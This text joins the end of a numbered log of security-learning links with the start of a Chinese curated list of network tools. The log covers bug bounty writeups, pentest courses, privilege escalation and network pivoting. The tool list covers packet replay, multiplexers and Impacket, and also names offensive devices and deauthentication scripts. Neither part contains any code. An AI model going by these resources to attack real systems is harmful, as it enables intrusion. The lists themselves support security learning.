253 | [<ul><li>Hacking Android Foreground Services Escalation Of Privileges by Rony Das - Nullcon Goa </li><li> Jailbreaking iOS in the post-apocalyptic era by CoolStar & Tihmstar - Nullcon Goa</li></ul>]()
254 | [<ul><li>Can write single Exploit payload which can exploit both HTML and JS injection - Tweet</li></ul>](https://twitter.com/sec_r0/status/1566470552050716677)
255 | [<ul><li>A context insensitive sqli payload polyglot - Tweet</li></ul>](https://twitter.com/sec_r0/status/1566833869764136962)
256 | [<ul><li>Find References: The most underrated and underused feature of @Burp_Suite - Tweet</li></ul>](https://twitter.com/sec_r0/status/1569008077331959809)
257 | [<ul><li>Reversing an Android sample which uses Flutter - Writeup</li></ul>](https://medium.com/@cryptax/reversing-an-android-sample-which-uses-flutter-23c3ff04b847)
258 - 261 | [<ul><li>Windows Privilege Escalation for Beginners - TCM Course</li></ul>](https://academy.tcm-sec.com/p/windows-privilege-escalation-for-beginners)
262 | [<ul><li> Escalation Path Executable Files - WindowsPriv </li><li> Escalation Path Startup Applications - WindowsPriv</li><li> Escalation Path DLL Hijacking - WindowsPriv</li></ul>](https://academy.tcm-sec.com/p/windows-privilege-escalation-for-beginners)
263 | [<ul><li>Escalation Path Service Permissions (Paths) - WindowsPriv </li></ul>](https://academy.tcm-sec.com/p/windows-privilege-escalation-for-beginners)
264 | [<ul><li>Escalation Path CVE-2019-1388 - WindowsPriv </li></ul>](https://academy.tcm-sec.com/p/windows-privilege-escalation-for-beginners)
265-267 | [<ul><li>Capstone Challenge - WindowsPriv </li></ul>](https://academy.tcm-sec.com/p/windows-privilege-escalation-for-beginners)
268-270 | [<ul><li>Wreath Room - Tryhackme </li></ul>](https://tryhackme.com/room/wreath)
271 | [<ul><li>Network Pivoting using Metasploit and Proxychains - Writeup </li></ul>](https://blog.pentesteracademy.com/network-pivoting-using-metasploit-and-proxychains-c04472f8eed0)
272 | [<ul><li>Metasploit: Pivoting - Writeup </li></ul>](https://medium.com/swlh/metasploit-pivoting-281636b23279)
273 - 274| [<ul><li>Explore Hidden Networks With Double Pivoting - Writeup </li></ul>](https://pentest.blog/explore-hidden-networks-with-double-pivoting/)
275 | [<ul><li>Pivoting Entire Network with Chisel - Video </li></ul>](https://www.youtube.com/watch?v=srUUUkcYEwg)
276 | [<ul><li>Deep dive in double network Pivoting with Metasploit and ProxyChains - Video </li></ul>](https://www.youtube.com/watch?v=J-F_3PMbNGo)
277 | [<ul><li>lazyadmin - Tryhackme Room </li></ul>](https://tryhackme.com/room/lazyadmin)
278 | [<ul><li>Empline - Tryhackme Room </li></ul>](https://tryhackme.com/room/empline)
279 | [<ul><li>Vulnnetinternal - Tryhackme Room </li></ul>](https://tryhackme.com/room/vulnnetinternal)
280 | [<ul><li>Gatekeeper - Writeup </li></ul>](https://tryhackme.com/room/gatekeeper)
281 | [<ul><li>Buffer Overflow for #OSCP and #eCPPT in 20 minutes - Video </li></ul>](https://www.youtube.com/watch?v=fSnlhHXRthc)
282 | [<ul><li>Pivoting in Metasploit to Hack Deeper into a Network - Writeup </li></ul>](https://www.hackingloops.com/pivoting-in-metasploit/)
283 - 285 | [<ul><li>Reading Github Repos on ECPPT - Repo </li></ul>](https://github.com/RosePwns/eCPPT_Course_Notes)
286 | [<ul><li>Upgrade Normal Shell To Meterpreter Shell - Writeup </li></ul>](https://infosecwriteups.com/metasploit-upgrade-normal-shell-to-meterpreter-shell-2f09be895646)
287 | [<ul><li>Home Lab: ProxyChains, eCPPT prep - Video </li></ul>](https://www.youtube.com/watch?v=QNoIX1au_CM)
288 | [<ul><li>Pivoting: Metasploit(meterpreter)+Proxychains - Writeup </li></ul>](https://pswalia2u.medium.com/pivoting-metasploit-proxychains-85d18ce5bf2d)
289 | [<ul><li>Metasploit: Portproxy(tunneling meterpreter session inside another meterpreter session)+socat+chisel - Writeup </li></ul>](https://pswalia2u.medium.com/metasploit-portproxy-tunneling-meterpreter-session-inside-another-meterpreter-session-9a99bcf959ac)
290 | [<ul><li>How to Implement Pivoting and Relaying Techniques Using Meterpreter - gitbooks </li></ul>](https://medium.com/axon-technologies/how-to-implement-pivoting-and-relaying-techniques-using-meterpreter-b6f5ec666795)
291 - 292 | [<ul><li>sushant747 - gitbooks </li></ul>](https://sushant747.gitbooks.io/total-oscp-guide/content/linux.html)
293 - 302 | [<ul><li>Going through INE PDF Material </li></ul>]()
303 - 310 | [<ul><li>ECPPT EXam </li></ul>]()
311 | [<ul><li>AWS SSRF to Root on production instance - Writeup </li></ul>](https://logicbomb.medium.com/a-bug-worth-1-75lacs-aws-ssrf-to-rce-8d43d5fda899)
312 | [<ul><li>Weird Vulnerabilities Happening on Load Balancers, Shallow Copies and Caches - Writeup </li></ul>](https://medium.com/dataseries/weird-vulnerabilities-happening-on-load-balancers-shallow-copies-and-caches-9194d4f72322)
313 | [<ul><li>Chaining Path Traversal with SSRF to disclose internal git repo data in a Bank Asset - Writeup </li></ul>](https://blog.niksthehacker.com/chaining-path-traversal-with-ssrf-to-disclose-internal-git-repo-data-in-a-bank-asset-8af4de6f12e)
314 | [<ul><li>Making API Bug Bounties A Breeze! - Writeup </li></ul>](https://medium.com/@harish_nataraj/making-api-bug-bounties-a-breeze-bf6443db5b37)
315 | [<ul><li>Chaining Cache Poisoning To Stored XSS - Writeup </li></ul>](https://nahoragg.medium.com/chaining-cache-poisoning-to-stored-xss-b910076bda4f)
316 | [<ul><li>$6000 with Microsoft Hall of Fame, Microsoft Firewall Bypass, CRLF to XSS, Microsoft Bug Bounty - Writeup </li></ul>](https://infosecwriteups.com/6000-with-microsoft-hall-of-fame-microsoft-firewall-bypass-crlf-to-xss-microsoft-bug-bounty-8f6615c47922)
317 | [<ul><li>The Zaheck of Android Deep Links! - Writeup </li></ul>](https://infosecwriteups.com/the-zaheck-of-android-deep-links-a5f57dc4ae4c)
318 | [<ul><li>How I Got $10,000 From GitHub For Bypassing Filtration oF HTML tags - Writeup </li></ul>](https://infosecwriteups.com/how-i-got-10-000-from-github-for-bypassing-filtration-of-html-tags-db31173c8b37)
319 | [<ul><li>All about: CORS Misconfiguration - Writeup </li></ul>](https://systemweakness.com/all-about-cors-misconfiguration-b8f1831e9f18)
320 | [<ul><li>Winning QR with DOM-Based XSS - Writeup </li></ul>](https://medium.com/@haroonhameed_76621/winning-qr-with-dom-based-xss-bug-bounty-poc-4b4048cf285d)
321 | [<ul><li>JSON Deserialitzation Attack - Writeup </li></ul>](https://medium.com/@s12deff/json-deserialitzation-attack-78255d16187e)
322 | [<ul><li>$250 for Email account enumeration using NameToMail tool - Writeup </li></ul>](https://medium.com/@snoopy101/250-for-email-account-enumeration-using-nametomail-tool-cce02a17ade8)
323 | [<ul><li>How i found 8 vulnerabilities in 24h - Writeup </li></ul>](https://0xm5awy.medium.com/how-i-found-8-vulnerabilities-in-24h-aad3bd5fd487)
324 | [<ul><li>Account Takeovers Believe the Unbelievable - Writeup </li></ul>](https://www.synack.com/blog/account-takeovers-believe-the-unbelievable/)
324 | [<ul><li>Account Takeovers Believe the Unbelievable - Writeup </li></ul>](https://www.synack.com/blog/account-takeovers-believe-the-unbelievable/)
325 | [<ul><li>JSON based XSS - Writeup </li></ul>](https://koumudi-garikipati.medium.com/json-based-xss-84089141c136)
326 | [<ul><li>Domain hacks with unusual Unicode characters - Writeup </li></ul>](https://shkspr.mobi/blog/2018/11/domain-hacks-with-unusual-unicode-characters/)
327 | [<ul><li>Deep Link Exploitation: Introduction & Open/unvalidated Redirection - Writeup </li></ul>](https://medium.com/mobis3c/deep-link-exploitation-introduction-open-unvalidated-redirection-b8344f00b17b)
328 | [<ul><li> Exploiting Android WebView Vulnerabilities - Writeup </li></ul>](https://medium.com/mobis3c/exploiting-android-webview-vulnerabilities-e2bcff780892#6537)
329 | [<ul><li> SSRF via DNS Rebinding CVE-2022–4096 - Writeup </li></ul>](https://infosecwriteups.com/ssrf-via-dns-rebinding-cve-2022-4096-b7bf75928bb2)
330 | [<ul><li> Unique Rate limit bypass worth 1800$ - Writeup </li></ul>](https://infosecwriteups.com/unique-rate-limit-bypass-worth-1800-6e2947c7d972)
331 | [<ul><li> Getting started with Code Review - Security Boat Meetup </li></ul>]()
332 | [<ul><li> Firebase Exploit bug bounty - Writeup </li></ul>](https://medium.com/@damaidec/firebase-exploit-bug-bounty-be63f4dc1e4a)
333 | [<ul><li> A Guide to DNS Takeovers: The Misunderstood Cousin of Subdomain Takeovers - Writeup </li></ul>](https://blog.projectdiscovery.io/guide-to-dns-takeovers/)
334 | [<ul><li> Calculating CVSS - Writeup </li></ul>](https://gupta-bless.medium.com/calculating-cvss-d30b9ef5e941)
335 | [<ul><li> Multiple Vulnerabilities found in Airtel Android Application - Writeup </li></ul>](https://offsec.space/posts/airtel-vulnerabilities/)
336 | [<ul><li> Remote Command Execution in a Bank Server - Writeup </li></ul>](https://medium.com/@win3zz/remote-command-execution-in-a-bank-server-b213f9f42afe)
337 | [<ul><li> How I made $31500 by submitting a bug to Facebook - Writeup </li></ul>](https://medium.com/@win3zz/how-i-made-31500-by-submitting-a-bug-to-facebook-d31bb046e204)
338 | [<ul><li> Manipulating AES Traffic using a Chain of Proxies and Hardcoded Keys - Writeup </li></ul>](https://blog.dixitaditya.com/manipulating-aes-traffic-using-a-chain-of-proxies-and-hardcoded-keys)
339 | [<ul><li> Understanding IMAP/SMTP injection - Writeup </li></ul>](https://gupta-bless.medium.com/understanding-smtp-injection-8de282334bf)
340 | [<ul><li> Bug Writeup: RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass - Writeup </li></ul>](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
341 | [<ul><li> Nuclei v2.8.0 - Fuzz all the way! - Writeup </li></ul>](https://blog.projectdiscovery.io/nuclei-fuzz-all-the-way/)
342 | [<ul><li> Race Condition vulnerability in Azure Video Indexer allowed trial account users use Advance / Premium feature - Writeup </li></ul>](https://blog.agilehunt.com/blogs/security/race-condition-vulnerability-in-azure-video-indexer-allowed-trial-account-users-use-advance-premium-feature)
343 | [<ul><li> Exploiting Missing HSTS - Writeup </li></ul>]( https://medium.com/@ibm_ptc_security/exploiting-missing-hsts-54f8e23ed80b)
344 | [<ul><li> Kony Mobile Frameworks Reverse Engineering Write Up Wreck IT 2022 CTF Quals - Writeup </li></ul>](https://maulvialf.medium.com/write-up-wreckit-3-0-quals-rev-suusamyr-527f3e7a8c4)
345-346 | [<ul><li> JavaScript prototype pollution: practice of finding and exploitation - Writeup </li></ul>](https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2)
347-348 | [<ul><li> How to Hack WebSockets and Socket.io - Writeup </li></ul>](https://www.blackhillsinfosec.com/how-to-hack-websockets-and-socket-io/)
349 | [<ul><li> Doing it the researcher’s way: How I Managed to Get SSTI which lead to arbitrary file reading on One of the Leading Payment Systems in Asia - Writeup </li></ul>](https://medium.com/@jazdprince/doing-it-the-researchers-way-how-i-managed-to-get-ssti-server-side-template-injection-which-66b239ca0104)
350 | [<ul><li> Unusual Cache Poisoning between Akamai and S3 buckets - Writeup </li></ul>](https://spyclub.tech/2022/12/14/unusual-cache-poisoning-akamai-s3/)
351 - 352 | [<ul><li>Infoseccomm event - Event </li></ul>]()
353 | [<ul><li> Param Hunting to Injections - Writeup </li></ul>](https://infosecwriteups.com/param-hunting-to-injections-4365da5447cf)
354 | [<ul><li> How I was able to steal users credentials via Swagger UI DOM-XSS - Writeup </li></ul>](https://medium.com/@M0X0101/how-i-was-able-to-steal-users-credentials-via-swagger-ui-dom-xss-e84255eb8c96)
355 | [<ul><li> Understanding Memcache Injection - Writeup </li></ul>](https://infosecwriteups.com/understanding-memcache-injection-d4d8f57595f0)
356 | [<ul><li> GraphQL Pentesting for Dummies! Part-1 - Writeup </li></ul>](https://anugrahsr.in/graphql-pentesting-for-dummies_part1/)
357 - 359| [<ul><li> Gaining Access to Protected Components In Android - Writeup </li><li> Penetrate the Protected Component in Android Part -1 - Writeup </li><li> Penetrate the Protected Component in Android Part -2 - Writeup </li><li>Android Hacking-Exploiting Content Providers</li></ul>](https://www.youtube.com/watch?v=11cscd_okgw&t=2618s&ab_channel=Payatu)
360 | [<ul><li> Hack crypto secrets from heap memory to exploit Android application - Writeup </li></ul>](https://infosecwriteups.com/hack-crypto-secrets-from-heap-memory-to-exploit-android-application-728097fcda3)
361 | [<ul><li> $350 XSS in 15 minutes - Writeup </li></ul>](https://infosecwriteups.com/350-xss-in-15-minutes-dcb74ad93d5f)
362 | [<ul><li> Command-Line Data-Wrangling by Tomnomnom - Video </li></ul>]( https://www.youtube.com/watch?v=QSq-aYYQpro&ab_channel=NahamSec)
363 | [<ul><li> Unauthorized Sign-up on Subdomain of Subdomain leading to Organization takeover worth $2000 - Writeup </li></ul>](https://infosecwriteups.com/unauthorized-sign-up-on-subdomain-of-subdomain-leading-to-organization-takeover-worth-2000-a7199952d80b)
364 | [<ul><li> Exploring the World of ESI Injection - Writeup </li></ul>](https://sudhanshur705.medium.com/exploring-the-world-of-esi-injection-b86234e66f91)
365 | [<ul><li> SSRF vulnerabilities caused by SNI proxy misconfigurations - Writeup </li></ul>](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
|
# 所有收集类项目:
- [收集的所有开源工具](https://github.com/alphaSeclab/sec-tool-list): 超过18K, 包括Markdown和Json两种格式
- [逆向资源](https://github.com/alphaSeclab/awesome-reverse-engineering): IDA/Ghidra/x64dbg/OllDbg/WinDBG/CuckooSandbox/Radare2/BinaryNinja/DynamoRIO/IntelPin/Frida/QEMU/Android安全/iOS安全/Window安全/Linux安全/macOS安全/游戏Hacking/Bootkit/Rootkit/Angr/Shellcode/进程注入/代码注入/DLL注入/WSL/Sysmon/...
- [网络相关的安全资源](https://github.com/alphaSeclab/awesome-network-stuff): 代理/GFW/反向代理/隧道/VPN/Tor/I2P，以及中间人/PortKnocking/嗅探/网络分析/网络诊断等
- [攻击性网络安全资源](https://github.com/alphaSeclab/awesome-cyber-security): 漏洞/渗透/物联网安全/数据渗透/Metasploit/BurpSuite/KaliLinux/C&C/OWASP/免杀/CobaltStrike/侦查/OSINT/社工/密码/凭证/威胁狩猎/Payload/WifiHacking/无线攻击/后渗透/提权/UAC绕过/...
# network-stuff
- 跟网络相关的安全资源，包括：代理/GFW/反向代理/隧道/VPN/Tor/I2P，以及中间人/PortKnocking/嗅探/网络分析/网络诊断等。超过1700开源安全工具。相关文章待添加。
- [English Version](https://github.com/alphaSeclab/awesome-network-stuff/blob/master/Readme_en.md)
# 目录
- [工具](#1a9934198e37d6d06b881705b863afc8)
- [(1) 收集](#74ecf59705f3b800caed3664c6d32624)
- [未分类](#56acb7c49c828d4715dce57410d490d1)
- [(40) Replay&&重播](#58b6684347a223e01d4d76d9ca185a88)
- [(1) 通信协议](#e810979fcdfaefc2375a65e9b3f3a11c)
- [(7) Multiplexer](#dd2b52e59921ad730fceac252d99dd77)
- [(7) Impacket](#0effa0fb88eb72a133563727d42910d9)
- [(30) Wireshark](#6fa0e0d1f898fba299b2566a33602841)
- [(16) Netcat](#b35965810463fb97b1ca26d94a8b62f0)
- [(21) Scapy](#01f99d208e245eb44f15f720043b50d4)
- [(8) Tcpdump](#b293f791ec9366957733415323755aa6)
- [pcap](#f13469c9891173804423be4403b2c4ff)
- [(58) 未分类](#eb49514924c3f4bf2acf6f3a4436af13)
- [(3) 转换](#b239f12aca7aa942b45836032cbef99a)
- [(2) 收集](#d365897ae51adc286d4e6f6787924d69)
- [(16) libpcap](#8bc2e181f74ba67ec93fd2a13d95cc0c)
- [(5) WinPcap](#5303e6ae470e6def3b69d614674a1c46)
- [(8) fiddler](#31d28e8b2cf6c06411cd5d178dbd3e77)
- [(5) 网络数据包](#64f068672e615343db9235f1973d8fba)
- [(34) 其他](#eec238a1a2657b70f7bbbe68a4421249)
- [代理&&Proxy](#21cbd08576a3ead42f60963cdbfb8599)
- [工具](#d03d494700077f6a65092985c06bf8e8)
- [(65) 未分类](#0ff94312f3ab4898f5996725133ea9d1)
- [(17) HAProxy](#d3069cac6097830d12f5933c9c8b7a77)
- [DNS](#6381920f17576b07cc87a8dc619123aa)
- [(7) 未分类](#b0328a85ce70f4be618511259df159a9)
- [(19) DNSCrypt](#191c4ddd413ed659f507ef4ad8c17818)
- [(13) HTTP&&HTTPS](#b6f25145e99ea944cbb528a24afaa0be)
- [V2Ray](#dbc310300d300ae45b04779281fe6ec8)
- [(57) 未分类](#9a47326f72e25428c0163118b9eb42e5)
- [(9) V2Ray-lib/GUI](#441d09c37d758425d97bcdb5e08a4256)
- [(1) 帐号](#e3e66ebfedb62affa6ef04eced00448f)
- [(3) 安装&&管理](#733afa2680ce2eab471cddc5654cd95b)
- [模板](#d34c4520a378177efaaa60911f07d8d0)
- [其他](#1072cf1157d333483198c30028f65e5a)
- [(3) proxychains](#160b0cdb52f30bdc3f222aa08c91d10d)
- [Shadowsocks](#cb16466a31a167bb61f39e2a4a85f449)
- [(51) 未分类](#60a91763cc1c0e034bee9717b9b87468)
- [(4) 帐号](#81bb199d6d8690cc6d7ddc92aa81f7f9)
- [(2) 其他](#81ba7ad53e5c5f4a9615923ba9595928)
- [(3) 插件](#bfe4545f8f585c6f19d28ae9d5912aff)
- [(40) ShadowsocksR](#02a80eb3908819d75933198c6b9c6008)
- [(6) Shadowsocks-ng](#0b7ec49dd41a16ce7ba58d399475e09f)
- [(1) 收集](#bdf7adbb1e8c52aa89dc771aa5fedc4b)
- [(42) Shadowsocks-lib/gui](#f90ec3d0727d2ee3840df6c9f9557756)
- [(7) Docker](#82476f41454f4e55dcdcf45d817e0395)
- [(18) 安装&&管理](#0a4e6103d8a48ee758983d56018076da)
- [(94) Socks](#57b8e953d394bbed52df2a6976d98dfa)
- [(11) 安装&&配置&&管理](#8ff91c8095e77fe88dcac1cff78d79c6)
- [代理爬取&&代理池](#b2241c68725526c88e69f1d71405c6b2)
- [(16) 抓取](#6d7e96fefef09f8ac350c8e9d77ec49c)
- [(2) 使用](#4417ed293dcbe11e3b5057be518e670d)
- [文章](#07fb7fc7f8ef8da762c2cc86c482a3f6)
- [翻墙&&GFW](#837c9f22a3e1bb2ce29a0fb2bcd90b8f)
- [工具](#af9d2b4988d35a2a634c042a1c66bb8c)
- [(1) 未分类](#fe72fb9498defbdbb98448511cd1eaca)
- [(28) 翻墙](#6e28befd418dc5b22fb3fd234db322d3)
- [(38) GFW](#e9cc4e00d5851a7430a9b28d74f297db)
- [文章](#8c94b343a7f1fb63a1ac538d032425a0)
- [匿名网络](#b03a7c05fd5b154ad593b6327578718b)
- [工具](#6e80463404d46f0493cf6e84597e4b5c)
- [(5) 未分类](#f0979cd783d1d455cb5e3207d574aa1e)
- [(139) Tor&&&Onion&&洋葱](#e99ba5f3de02f68412b13ca718a0afb6)
- [(11) I2P](#ceb532aae106b39ea224c7aef786c831)
- [文章](#7b28248ff4b6fe73675e3139109ef93d)
- [隧道&&穿透&&反向代理](#e996f5ff54050629de0d9d5e68fcb630)
- [工具](#01e6651181d405ecdcd92a452989e7e0)
- [(36) 未分类](#ea4dfcd8f33ec1852180c6283b2c8516)
- [(56) 反向代理](#e9f97504fbd14c8bb4154bd0680e9e62)
- [(125) 隧道&&穿透](#9d6789f22a280f5bb6491d1353b02384)
- [(5) 公网访问局域网](#8ea8f890cf767c3801b5e7951fca3570)
- [文章](#c8cc22e067df97d3c58ac53b91ebe240)
- [VPN](#891b953fda837ead9eff17ff2626b20a)
- [(119) 工具](#d62a971d37c69db9f3b9187318c3921a)
- [(25) OpenVPN](#7cf7e8a30b73997985f20698eaf6b0c9)
- [中间人&&MITM](#42ae221f526f55b5282ea221a376ec6c)
- [(146) 未分类](#42f9e068b6511bcbb47d6b2b273097da)
- [(1) 收集](#4958460c709a66ca528f1732117e8dfd)
- [(12) mitmproxy](#b4959a15647a6dcf79901f76655d0ca8)
- [分析&&取证&&诊断&&探查&&检测&&嗅探](#3c28b67524f117ed555daed9cc99e35e)
- [工具](#7bf0f5839fb2827fdc1b93ae6ac7f53d)
- [(23) 未分类](#b346105580b0240d693020ce8719ebca)
- [(2) 协议分析](#8dd8c4c8d11c149aa803a221480687d2)
- [(3) 网络诊断](#9dfefb87c4dc3288b2eddf6780e8ffb9)
- [(4) 取证](#b3811e8d4be5755957b0ec0e336715a2)
- [(170) 嗅探&&Sniff](#32739127f0c38d61b14448c66a797098)
- [(14) 捕获&&Capture](#d7485f829bd85cd784ff582cbddc8624)
- [(1) 流量检测](#471c124b012dbde8ea3288f35667efc8)
- [(4) Xx分析](#07701b342951b5d7bfa839db7752f9dd)
- [文章](#384f5e1bef62f815c6745062f2975ba7)
- [网络攻击](#53da0cc607b98c444ec0e50a0b77f754)
- [工具](#295e14c39bf33cd5136be8ced9383746)
- [(2) PortKnocking](#07f06751f1de7ddd1f6a95323f0191c8)
- [(45) 伪造&&Spoof](#f855508acfc870b1f0d90ff316f1dd75)
- [(1) 检测绕过](#62b461e2ceead9edb75c1b51f6eecdfd)
- [(21) 投毒&&Poisoning](#3bd67ee9f322e2c85854991c85ed6da0)
- [Android](#c63cbfa77e689e485fc2d8bc5051f229)
- [(21) 工具](#863839860fab4b8601905205cac9b54f)
- [iOS](#70857140d346b443fe3b7ea3046f702a)
- [(13) 工具](#692d86299dedab073fbb6144a5b2bd64)
# <a id="1a9934198e37d6d06b881705b863afc8"></a>工具
***
## <a id="74ecf59705f3b800caed3664c6d32624"></a>收集
- [**1787**星][4y] [caesar0301/awesome-pcaptools](https://github.com/caesar0301/awesome-pcaptools) 用于处理网络痕迹的工具收集
***
## <a id="56acb7c49c828d4715dce57410d490d1"></a>未分类
***
## <a id="58b6684347a223e01d4d76d9ca185a88"></a>Replay&&重播
- [**12024**星][2m] [Go] [buger/goreplay](https://github.com/buger/goreplay) 实时捕获HTTP流量并输入测试环境，以便持续使用真实数据测试你的系统
- [**8180**星][5d] [JS] [netflix/pollyjs](https://github.com/netflix/pollyjs) Record, Replay, and Stub HTTP Interactions.
- [**4625**星][5d] [Ruby] [vcr/vcr](https://github.com/vcr/vcr) Record your test suite's HTTP interactions and replay them during future test runs for fast, deterministic, accurate tests.
- [**4597**星][4d] [C++] [mozilla/rr](https://github.com/mozilla/rr) 记录与重放App的调试执行过程
- [**3450**星][6m] [C] [session-replay-tools/tcpcopy](https://github.com/session-replay-tools/tcpcopy) tcpcopy：TCP 流量回放工具，可用于性能测试、稳定性测试、压力测试、加载测试、smoke 测试等
- [**1461**星][2y] [C++] [acaudwell/logstalgia](https://github.com/acaudwell/logstalgia) a visualization tool that replays or streams web server access logs as a retro arcade game simulation.
- [**1417**星][1m] [Java] [chrisk44/hijacker](https://github.com/chrisk44/hijacker) Aircrack, Airodump, Aireplay, MDK3 and Reaver GUI Application for Android
- [**605**星][30d] [Py] [webrecorder/pywb](https://github.com/webrecorder/pywb) 重放和记录Web存档
- [**565**星][10d] [C] [appneta/tcpreplay](https://github.com/appneta/tcpreplay) Pcap 编辑和重放工具（针对*nix和Windows）
- [**262**星][2m] [Py] [felixweyne/imaginaryc2](https://github.com/felixweyne/imaginaryc2) Imaginary C2 is a python tool which aims to help in the behavioral (network) analysis of malware. Imaginary C2 hosts a HTTP server which captures HTTP requests towards selectively chosen domains/IPs. Additionally, the tool aims to make it easy to replay captured Command-and-Control responses/served payloads.
- [**149**星][28d] [Py] [swehner/foos](https://github.com/swehner/foos) Instant replay system for foosball table
- [**126**星][4y] [C] [ctxis/rdp-replay](https://github.com/ctxis/rdp-replay) 重播pcap文件中的RDP流量
- [**87**星][8m] [Go] [seborama/govcr](https://github.com/seborama/govcr) HTTP mock for Golang: record and replay HTTP/HTTPS interactions for offline testing
- [**82**星][2y] [JS] [dmarcos/aframe-motion-capture-components](https://github.com/dmarcos/aframe-motion-capture-components) Capture entity motions and replay them on other entities
- [**78**星][1y] [Py] [ionelmc/python-aspectlib](https://github.com/ionelmc/python-aspectlib) An aspect-oriented programming, monkey-patch and decorators library. It is useful when changing behavior in existing code is desired. It includes tools for debugging and testing: simple mock/record and a complete capture/replay framework.
- [**74**星][4m] [Lua] [dns-oarc/drool](https://github.com/dns-oarc/drool) DNS Replay Tool
- [**73**星][2y] [Java] [spiderlabs/burplay](https://github.com/spiderlabs/burplay) Burplay is a Burp Extension allowing for replaying any number of requests using same modifications definition. Its main purpose is to aid in searching for Privilege Escalation issues.
- [**72**星][28d] [C++] [rigtorp/udpreplay](https://github.com/rigtorp/udpreplay) 重播pcap文件中的UDP数据包
- [**69**星][9d] [Py] [catch-up-tv-and-more/plugin.video.catchuptvandmore](https://github.com/catch-up-tv-and-more/plugin.video.catchuptvandmore) Replay, Live TV and websites videos addon for Kodi
- [**66**星][1m] [Py] [hatching/httpreplay](https://github.com/hatching/httpreplay) 根据TLS主密钥，重播PCAP文件中的HTTP和HTTPS请求
- [**60**星][3y] [Py] [iamckn/mousejack_transmit](https://github.com/iamckn/mousejack_transmit) Wireless mouse/keyboard attack with replay/transmit poc
- [**59**星][23d] [C++] [whid-injector/whid-31337](https://github.com/whid-injector/whid-31337) WHID Elite is a GSM-enabled Open-Source Multi-Purpose Offensive Device that allows a threat actor to remotely inject keystrokes, bypass air-gapped systems, conduct mousejacking attacks, do acoustic surveillance, RF replay attacks and much more. In practice, is THE Wet Dream of any Security Consultant out there!
- [**56**星][2m] [Shell] [125k/pwrdeauther](https://github.com/125K/PwrDeauther) This script allows you to deauth a specific SSID or an entire channel with mdk3 (MDK3 is more powerful than Aireplay)
- [**56**星][2m] [Shell] [125k/pwrdeauther](https://github.com/125k/pwrdeauther) This script allows you to deauth a specific SSID or an entire channel with mdk3 (MDK3 is more powerful than Aireplay)
- [**54**星][26d] [Java] [vy/hrrs](https://github.com/vy/hrrs) Record, transform, and replay HTTP requests in Java EE and Spring applications.
- [**46**星][1y] [HTML] [octosavvi/espkey](https://github.com/octosavvi/espkey) Wiegand data logger, replay device and micro door-controller
- [**43**星][1y] [Py] [nirizr/pytest-idapro](https://github.com/nirizr/pytest-idapro) 辅助对IDAPython脚本进行单元测试
- [**34**星][24d] [C] [dns-oarc/dnsjit](https://github.com/dns-oarc/dnsjit) Engine for capturing, parsing and replaying DNS
- [**33**星][29d] [C] [root670/cheatdeviceps2](https://github.com/root670/cheatdeviceps2) Game enhancer for PlayStation 2 similar to Action Replay, GameShark, and CodeBreaker.
- [**27**星][11d] [C] [microsoft/wafbench](https://github.com/microsoft/wafbench) WAFBench (wb) is a tool to measure the performance of WAF(Web Application Firewall) . It's based on latest code of ab (ApacheBench), and adds support for real trace replaying, framework of testing waf (FTW), and some other features.
- [**26**星][1m] [Go] [linus4/csgoverview](https://github.com/linus4/csgoverview) A 2D demo replay tool for Counter Strike: Global Offensive.
- [**25**星][4d] [TS] [airtasker/proxay](https://github.com/airtasker/proxay) Proxay is a record/replay proxy server that helps you write faster and more reliable tests.
- [**21**星][2y] [Py] [pure-l0g1c/aircrack](https://github.com/pure-l0g1c/aircrack) Automatic Wifi Cracker. Uses Airodump, Aircrack, Aireplay
- [**20**星][3y] [JS] [tunnelshade/pocuito](https://github.com/tunnelshade/pocuito) A tiny chrome extension to record and replay your web application proof-of-concepts.
- [**19**星][3y] [cn0xroot/gr-replay](https://github.com/cn0xroot/gr-replay) 用于Gnuradio的信号捕捉和重放
- [**17**星][2y] [C] [deanjerkovich/rage_fuzzer](https://github.com/deanjerkovich/rage_fuzzer) a dumb protocol-unaware packet fuzzer/replayer
- [**16**星][2y] [Lua] [withlin/kong-plugin-http-anti-replay-attack](https://github.com/withlin/kong-plugin-http-anti-replay-attack) 防重放攻击
- [**15**星][6m] [yuangongnd/remasc](https://github.com/yuangongnd/remasc) ReMASC: Realistic Replay Attack Corpus for Voice Controlled Systems
- [**15**星][2y] [C#] [hackingthings/can-bus-arduino-tool](https://github.com/HackingThings/CAN-Bus-Arduino-Tool) A tool for performing replay and sniffing CAN bus traffic.
- [**3**星][5y] [Haskell] [maurer/tachyon](https://github.com/maurer/tachyon) Record/Replay for syscall streams
***
## <a id="e810979fcdfaefc2375a65e9b3f3a11c"></a>通信协议
- [**1692**星][5m] [C] [networkprotocol/netcode.io](https://github.com/networkprotocol/netcode.io) 基于UDP的安全通信协议
***
## <a id="dd2b52e59921ad730fceac252d99dd77"></a>Multiplexer
- [**2530**星][1m] [C] [yrutschle/sslh](https://github.com/yrutschle/sslh) 应用协议多路复用器（例如，在同一端口上共享SSH和HTTPS）。接受指定端口上的连接，并根据对第一个数据包的测试结果将其转发
- [**1056**星][20d] [C++] [simsong/tcpflow](https://github.com/simsong/tcpflow) TCP/IP 数据包分用器
- [**797**星][2m] [Go] [trivago/gollum](https://github.com/trivago/gollum) An n:m message multiplexer written in Go
- [**728**星][1m] [C++] [stealth/sshttp](https://github.com/stealth/sshttp) SSH/HTTP(S) multiplexer. Run a webserver and a sshd on the same port w/o changes.
- [**31**星][6m] [Py] [innogames/polysh](https://github.com/innogames/polysh) Polysh, the remote shell multiplexer
- [**25**星][2y] [Py] [qiaofei32/tcp-multiplexer](https://github.com/qiaofei32/tcp-multiplexer) A TCP service multiplexer in Python
- [**7**星][2m] [Py] [adafruit/adafruit_circuitpython_tca9548a](https://github.com/adafruit/adafruit_circuitpython_tca9548a) CircuitPython driver for the TCA9548A I2C Multiplexer.
***
## <a id="0effa0fb88eb72a133563727d42910d9"></a>Impacket
- [**3922**星][5d] [Py] [secureauthcorp/impacket](https://github.com/SecureAuthCorp/impacket) Python类收集, 用于与网络协议交互
- [**381**星][1m] [Py] [fox-it/bloodhound.py](https://github.com/fox-it/bloodhound.py) 基于Python的BloodHound Ingestor，基于Impacket
